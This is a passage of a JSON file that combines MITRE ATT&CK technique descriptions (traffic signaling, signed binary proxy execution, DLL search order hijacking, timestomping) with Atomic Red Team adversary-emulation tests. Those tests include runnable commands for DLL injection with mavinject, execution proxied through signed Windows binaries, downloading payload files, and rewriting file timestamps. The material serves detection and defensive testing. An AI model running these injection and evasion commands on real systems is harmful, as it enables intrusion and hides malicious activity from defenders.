- "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
- "modified": "2022-04-19T19:52:50.774Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Traffic Signaling",
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF
followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Defensive network service scanning"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1218": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Nishan Maharjan, @loki248",
- "Hans Christoffer Gaardl\u00f8s",
- "Praetorian",
- "Wes Hurd"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "3.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218",
- "url": "https://attack.mitre.org/techniques/T1218"
- },
- {
- "source_name": "GTFO split",
- "url": "https://gtfobins.github.io/gtfobins/split/",
- "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022."
- },
- {
- "source_name": "LOLBAS Project",
- "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria",
- "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."
- },
- {
- "source_name": "split man page",
- "url": "https://man7.org/linux/man-pages/man1/split.1.html",
- "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split
to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)",
- "modified": "2022-04-18T14:52:08.678Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Signed Binary Proxy Execution",
- "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: OS API Execution",
- "Module: Module Load",
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control",
- "Digital Certificate Validation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1218"
- },
- "atomic_tests": [
- {
- "name": "mavinject - Inject DLL into running process",
- "auto_generated_guid": "c426dacf-575d-4937-8611-a148a86a5e61",
- "description": "Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_id": {
- "description": "PID of process receiving injection",
- "type": "string",
- "default": "1000"
- },
- "dll_payload": {
- "description": "DLL to inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1218.dll must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll\" -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Register-CimProvider - Execute evil dll",
- "auto_generated_guid": "ad2c17ed-f626-4061-b21e-b9804a6f3655",
- "description": "Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_payload": {
- "description": "DLL to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1218-2.dll must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll\" -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "InfDefaultInstall.exe .inf Execution",
- "auto_generated_guid": "54ad7d5a-a1b5-472c-b6c4-f8090fb2daef",
- "description": "Test execution of a .inf using InfDefaultInstall.exe\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_to_execute": {
- "description": "Local location of inf file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "INF file must exist on disk at specified location (#{inf_to_execute})\n",
- "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf\" -OutFile \"#{inf_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "InfDefaultInstall.exe #{inf_to_execute}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "ProtocolHandler.exe Downloaded a Suspicious File",
- "auto_generated_guid": "db020456-125b-4c8b-a4a7-487df8afb5a2",
- "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_url": {
- "description": "url to document",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "FOR /F \"tokens=2*\" %a in ('reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Winword.exe\" /V PATH') do set microsoft_wordpath=%b\ncall \"%microsoft_wordpath%\\protocolhandler.exe\" \"ms-word:nft|u|#{remote_url}\"\n"
- }
- },
- {
- "name": "Microsoft.Workflow.Compiler.exe Payload Execution",
- "auto_generated_guid": "7cbb0f26-a4c1-4f77-b180-a009aa05637e",
- "description": "Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_payload": {
- "description": "XML to execution",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\T1218.xml"
- },
- "mwcpath": {
- "description": "Default location of Microsoft.Workflow.Compiler.exe",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319"
- },
- "mwcname": {
- "description": "Default name of microsoft.workflow.compiler.exe",
- "type": "path",
- "default": "microsoft.workflow.compiler.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net must be installed for this test to work correctly.\n",
- "prereq_command": "if (Test-Path #{mwcpath}\\#{mwcname} ) {exit 0} else {exit 1}\n",
- "get_prereq_command": "write-host \".Net must be installed for this test to work correctly.\"\n"
- }
- ],
- "executor": {
- "command": "#{mwcpath}\\#{mwcname} \"#{xml_payload}\" output.txt\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Renamed Microsoft.Workflow.Compiler.exe Payload Executions",
- "auto_generated_guid": "4cc40fd7-87b8-4b16-b2d7-57534b86b911",
- "description": "Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_payload": {
- "description": "XML to execution",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\T1218.xml"
- },
- "renamed_binary": {
- "description": "renamed Microsoft.Workflow.Compiler",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\svchost.exe"
- },
- "mwcpath": {
- "description": "Default location of Microsoft.Workflow.Compiler.exe",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319"
- },
- "mwcname": {
- "description": "Default name of microsoft.workflow.compiler.exe",
- "type": "path",
- "default": "microsoft.workflow.compiler.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net must be installed for this test to work correctly.\n",
- "prereq_command": "Copy-Item #{mwcpath}\\#{mwcname} \"#{renamed_binary}\" -Force\nif (Test-Path \"#{renamed_binary}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "write-host \"you need to rename workflow complier before you run this test\"\n"
- }
- ],
- "executor": {
- "command": "#{renamed_binary} #{xml_payload} output.txt\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Invoke-ATHRemoteFXvGPUDisablementCommand base test",
- "auto_generated_guid": "9ebe7901-7edf-45c0-b5c7-8366300919db",
- "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).\n\nOne of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as \"PowerShell module load-order hijacking\" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.\n\nInvoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the \"Disable\" argument to RemoteFXvGPUDisablement.exe.\n\nThe Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.\n\nReference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "module_name": {
- "description": "Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified.",
- "type": "string",
- "default": "foo"
- },
- "module_path": {
- "description": "Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules.",
- "type": "string",
- "default": "$PWD"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}",
- "name": "powershell"
- }
- },
- {
- "name": "DiskShadow Command Execution",
- "auto_generated_guid": "0e1483ba-8f0c-425d-b8c6-42736e058eaa",
- "description": "Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "txt_payload": {
- "description": "txt to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\T1218.txt"
- },
- "dspath": {
- "description": "Default location of DiskShadow.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\diskshadow.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "txt file must exist on disk at specified location (#{txt_payload})",
- "prereq_command": "if (Test-Path #{txt_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{txt_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt\" -OutFile \"#{txt_payload}\"\n"
- },
- {
- "description": "DiskShadow.exe must exist on disk at specified location (#{dspath})",
- "prereq_command": "if (Test-Path #{dspath}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "echo \"DiskShadow.exe not found on disk at expected location\"\n"
- }
- ],
- "executor": {
- "command": "#{dspath} -S #{txt_payload} \n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Load Arbitrary DLL via Wuauclt (Windows Update Client)",
- "auto_generated_guid": "49fbd548-49e9-4bb7-94a6-3769613912b8",
- "description": "This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "arbitrary_dll": {
- "description": "Path of DLL to be loaded",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218\\bin\\calc.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL to load must exist on disk as specified location (#{arbitrary_dll})\n",
- "prereq_command": "if (test-path \"#{arbitrary_dll}\"){exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{arbitrary_dll}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true\" -OutFile \"#{arbitrary_dll}\"\n"
- }
- ],
- "executor": {
- "command": "wuauclt.exe /UpdateDeploymentProvider #{arbitrary_dll} /RunHandlerComServer\n",
- "cleanup_command": "taskkill /f /im calculator.exe > nul 2>&1",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbin Gpscript logon option",
- "auto_generated_guid": "5bcda9cd-8e85-48fa-861d-b5a85d91d48c",
- "description": "Executes logon scripts configured in Group Policy.\nhttps://lolbas-project.github.io/lolbas/Binaries/Gpscript/\nhttps://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Gpscript /logon\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbin Gpscript startup option",
- "auto_generated_guid": "f8da74bb-21b8-4af9-8d84-f2c8e4a220e3",
- "description": "Executes startup scripts configured in Group Policy\nhttps://lolbas-project.github.io/lolbas/Binaries/Gpscript/\nhttps://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Gpscript /startup\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbas ie4uinit.exe use as proxy",
- "auto_generated_guid": "13c0804e-615e-43ad-b223-2dfbacd0b0b3",
- "description": "Executes commands from a specially prepared ie4uinit.inf file.\nPoc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nReference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Path_inf": {
- "description": "Path to the cab file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218\\src\\ieuinit.inf"
- },
- "Path_ie4uinit": {
- "description": "Path to ie4uinit.exe",
- "type": "path",
- "default": "c:\\windows\\system32\\ie4uinit.exe"
- }
- },
- "executor": {
- "command": "copy #{Path_ie4uinit} %TEMP%\\ie4uinit.exe\ncopy #{Path_inf} %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings\n",
- "cleanup_command": "del %TEMP%\\ie4uinit.exe >nul 2>&1\ndel %TEMP%\\ieuinit.inf >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1038": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:40.604Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1038",
- "external_id": "T1038",
- "source_name": "mitre-attack"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- },
- {
- "source_name": "Microsoft DLL Search",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682586"
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "Microsoft 2269637",
- "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
- "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
- },
- {
- "source_name": "Microsoft DLL Redirection",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682600"
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "Mandiant Search Order",
- "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
- "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
- }
- ],
- "modified": "2020-03-26T14:49:47.091Z",
- "name": "DLL Search Order Hijacking",
- "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to add a DLL, manifest file, or .local file, directory, or junction."
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1070.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Romain Dumont, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
- "type": "attack-pattern",
- "created": "2020-01-31T12:42:44.103Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1070.006",
- "url": "https://attack.mitre.org/techniques/T1070/006"
- },
- {
- "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
- "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
- "source_name": "WindowsIR Anti-Forensic Techniques"
- }
- ],
- "modified": "2020-03-29T21:39:46.724Z",
- "name": "Indicator Removal on Host: Timestomp",
- "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "root",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1070.006"
- },
- "atomic_tests": [
- {
- "name": "Windows - Modify file creation timestamp with PowerShell",
- "auto_generated_guid": "b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c",
- "description": "Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_date_time": {
- "description": "Date/time to replace original timestamps with",
- "type": "string",
- "default": "01/01/1970 00:00:00"
- },
- "file_path": {
- "description": "Path of file to change creation timestamp",
- "type": "path",
- "default": "$env:TEMP\\T1551.006_timestomp.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "A file must exist at the path (#{file_path}) to change the creation time on\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n"
- }
- ],
- "executor": {
- "command": "Get-ChildItem #{file_path} | % { $_.CreationTime = \"#{target_date_time}\" }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Windows - Modify file last modified timestamp with PowerShell",
- "auto_generated_guid": "f8f6634d-93e1-4238-8510-f8a90a20dcf2",
- "description": "Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_date_time": {
- "description": "Date/time to replace original timestamps with",
- "type": "string",
- "default": "01/01/1970 00:00:00"
- },
- "file_path": {
- "description": "Path of file to change modified timestamp",
- "type": "path",
- "default": "$env:TEMP\\T1551.006_timestomp.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "A file must exist at the path (#{file_path}) to change the modified time on\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
